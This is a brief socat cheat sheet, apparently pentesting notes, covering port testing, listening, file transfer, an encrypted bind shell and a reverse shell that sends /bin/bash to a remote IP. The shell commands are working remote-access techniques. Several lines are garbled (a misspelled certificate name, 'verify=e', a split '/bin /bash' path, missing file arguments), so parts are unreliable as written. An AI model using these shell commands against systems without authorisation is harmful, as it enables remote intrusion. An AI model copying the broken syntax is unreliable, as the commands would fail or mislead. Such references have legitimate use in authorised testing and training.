Socat

Test open port

socat - <protocol>:<xx.xx.xx.xx>:<port> 
e.g; socat - TCP4:192.168.1.10:80

Listening on a TCP/UDP Port

socat TCP4-LISTEN:443 STDOUT

Transfering file using Socat

SENDER (Listener)

socat TCP4-LISTEN:443,fork

RECEIVER

socat TCP4:18.11.8.4:443,create

Bind Shell

LISTENER

socat OPENSSL-LISTEN:443,cert=bind_shett.pem,verify=e,fork EXEC:/bin /bash

* enabled encryption.

Client

socat - OPENSSL::,verify=8

Reverse Shell

LISTENER

socat -d -d TCP4-LISTEN:443 STDOUT

Client (Send Reverse shell)

socat TCP4:18.11.8.22:443 EXEC:/bin/bash